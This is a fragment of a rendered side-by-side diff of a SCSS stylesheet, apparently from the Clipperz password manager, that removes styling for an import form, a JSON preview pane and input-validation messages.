			}
 | 
								}
 | 
				
			||||||
		}
 | 
							}
 | 
				
			||||||
		
 | 
					*/
 | 
				
			||||||
		/* IMPORT */
 | 
					 | 
				
			||||||
		.importForm {
 | 
					 | 
				
			||||||
			textarea {
 | 
					 | 
				
			||||||
				display: block;
 | 
					 | 
				
			||||||
				width:100%;
 | 
					 | 
				
			||||||
				min-height:400px;
 | 
					 | 
				
			||||||
			}
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		.jsonPreview {
 | 
					 | 
				
			||||||
			width: 100%;
 | 
					 | 
				
			||||||
			height:80%;
 | 
					 | 
				
			||||||
			overflow: auto;
 | 
					 | 
				
			||||||
			margin-top:1em;
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			h3 {
 | 
					 | 
				
			||||||
				font-weight:bold;
 | 
					 | 
				
			||||||
			}
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			ul {
 | 
					 | 
				
			||||||
				margin-bottom:1em;
 | 
					 | 
				
			||||||
				padding-left:1em;
 | 
					 | 
				
			||||||
				
 | 
					 | 
				
			||||||
				li {
 | 
					 | 
				
			||||||
					.label {
 | 
					 | 
				
			||||||
						font-weight:bold;
 | 
					 | 
				
			||||||
					}
 | 
					 | 
				
			||||||
				}
 | 
					 | 
				
			||||||
			}
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		/* /IMPORT */
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
		form {
 | 
							form {
 | 
				
			||||||
			input.valid + .invalidMsg, input.empty + .invalidMsg, input:focus + .invalidMsg, input.invalid:focus + .invalidMsg {
 | 
								input.valid + .invalidMsg, input.empty + .invalidMsg, input:focus + .invalidMsg, input.invalid:focus + .invalidMsg {
 | 
				
			||||||
				visibility: hidden;
 | 
									visibility: hidden;
 | 
				
			||||||
			}
 | 
								}
 | 
				
			||||||
			
 | 
								
 | 
				
			||||||
			input:focus {
 | 
					 | 
				
			||||||
				border: 2px solid $clipperz-orange;
 | 
					 | 
				
			||||||
			}
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			input.valid:focus {
 | 
					 | 
				
			||||||
				border: 2px solid $clipperz-blue;
 | 
					 | 
				
			||||||
			}
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			input.invalid + .invalidMsg {
 | 
					 | 
				
			||||||
				visibility: visible;
 | 
					 | 
				
			||||||
			}
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			.invalidMsg::before {
 | 
					 | 
				
			||||||
				font-family: serif;
 | 
					 | 
				
			||||||
				content: "\26A0 \0000a0";
 | 
					 | 
				
			||||||
		}
 | 
							}
 | 
				
			||||||
	}
 | 
						}
 | 
				
			||||||
		
 | 
					 | 
				
			||||||
}			
 | 
					}			
 | 
				
			||||||
}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
			
 | 
								
 | 
				
			||||||
.mainPage.narrow {
 | 
					.mainPage.narrow {
 | 
				
			||||||
	#extraFeaturesPanel {
 | 
						#extraFeaturesPanel {
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user